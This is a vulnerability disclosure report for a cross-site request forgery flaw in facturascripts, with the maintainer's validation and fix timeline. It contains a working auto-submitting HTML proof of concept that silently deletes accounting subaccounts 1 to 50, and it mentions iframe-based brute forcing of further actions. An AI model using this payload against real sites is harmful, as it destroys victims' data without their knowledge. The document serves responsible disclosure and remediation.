Cross-Site Request Forgery (CSRF) in neorazorx/facturascripts

Valid

Reported on

Aug 23rd 2021


✍️ Description

Attacker able to delete any number of Accounting Subaccounts with CSRF attack.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.

Or users with low level privilege can send a link to other users and admins with higher privilege and then their malicious request will be executed without that victim users and admins be aware about that.

🕵️‍♂️ Proof of Concept

1.First of all admin or user with right privileges already should be logged in Browser.

2.Open the PoC.html (it is auto-submit).

3.Here subaccounts from code[] 1 to code[] 50 will be deleted after the PoC.html file opened.

// PoC.html

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/invoices/ListCuenta" method="POST">
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="activetab" value="ListSubcuenta" />
<input type="hidden" name="loadfilter" value="0" />
<input type="hidden" name="offset" value="0" />
<input type="hidden" name="order" value="0" />
<input type="hidden" name="query" value="" />
<input type="hidden" name="filtercodejercicio" value="" />
<input type="hidden" name="filtercodcuentaesp" value="" />
<input type="hidden" name="code&#91;&#93;" value="1" />
<input type="hidden" name="code&#91;&#93;" value="2" />
<input type="hidden" name="code&#91;&#93;" value="3" />
<input type="hidden" name="code&#91;&#93;" value="4" />
<input type="hidden" name="code&#91;&#93;" value="5" />
<input type="hidden" name="code&#91;&#93;" value="6" />
<input type="hidden" name="code&#91;&#93;" value="7" />
<input type="hidden" name="code&#91;&#93;" value="8" />
<input type="hidden" name="code&#91;&#93;" value="9" />
<input type="hidden" name="code&#91;&#93;" value="10" />
<input type="hidden" name="code&#91;&#93;" value="11" />
<input type="hidden" name="code&#91;&#93;" value="12" />
<input type="hidden" name="code&#91;&#93;" value="13" />
<input type="hidden" name="code&#91;&#93;" value="14" />
<input type="hidden" name="code&#91;&#93;" value="15" />
<input type="hidden" name="code&#91;&#93;" value="16" />
<input type="hidden" name="code&#91;&#93;" value="17" />
<input type="hidden" name="code&#91;&#93;" value="18" />
<input type="hidden" name="code&#91;&#93;" value="19" />
<input type="hidden" name="code&#91;&#93;" value="20" />
<input type="hidden" name="code&#91;&#93;" value="21" />
<input type="hidden" name="code&#91;&#93;" value="22" />
<input type="hidden" name="code&#91;&#93;" value="23" />
<input type="hidden" name="code&#91;&#93;" value="24" />
<input type="hidden" name="code&#91;&#93;" value="25" />
<input type="hidden" name="code&#91;&#93;" value="26" />
<input type="hidden" name="code&#91;&#93;" value="27" />
<input type="hidden" name="code&#91;&#93;" value="28" />
<input type="hidden" name="code&#91;&#93;" value="29" />
<input type="hidden" name="code&#91;&#93;" value="30" />
<input type="hidden" name="code&#91;&#93;" value="31" />
<input type="hidden" name="code&#91;&#93;" value="32" />
<input type="hidden" name="code&#91;&#93;" value="33" />
<input type="hidden" name="code&#91;&#93;" value="34" />
<input type="hidden" name="code&#91;&#93;" value="35" />
<input type="hidden" name="code&#91;&#93;" value="36" />
<input type="hidden" name="code&#91;&#93;" value="37" />
<input type="hidden" name="code&#91;&#93;" value="38" />
<input type="hidden" name="code&#91;&#93;" value="39" />
<input type="hidden" name="code&#91;&#93;" value="40" />
<input type="hidden" name="code&#91;&#93;" value="41" />
<input type="hidden" name="code&#91;&#93;" value="42" />
<input type="hidden" name="code&#91;&#93;" value="43" />
<input type="hidden" name="code&#91;&#93;" value="44" />
<input type="hidden" name="code&#91;&#93;" value="45" />
<input type="hidden" name="code&#91;&#93;" value="46" />
<input type="hidden" name="code&#91;&#93;" value="47" />
<input type="hidden" name="code&#91;&#93;" value="48" />
<input type="hidden" name="code&#91;&#93;" value="49" />
<input type="hidden" name="code&#91;&#93;" value="50" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions ( with using multiple Iframe )

💥 Impact

This vulnerability is capable of make high damage of availability of system.

Fix

The easiest way that you set strict attribute on each cookie, Or you set Lax and Use GET requests only for receiving data not changing them.

The best way is that you set a CSRF token in each endpoint. 📍 Location index.php#L1 📍 Location index.php#L1

Ziding Zhang
3 months ago

Admin


Hey amammad, I've contacted the repo's maintainer via the email provided for you.

We have contacted a member of the neorazorx/facturascripts team and are waiting to hear back 3 months ago
amammad modified their report
3 months ago
amammad modified their report
3 months ago
neorazorx validated this vulnerability 3 months ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
neorazorx confirmed that a fix has been merged on 8e2c15 a month ago
The fix bounty has been dropped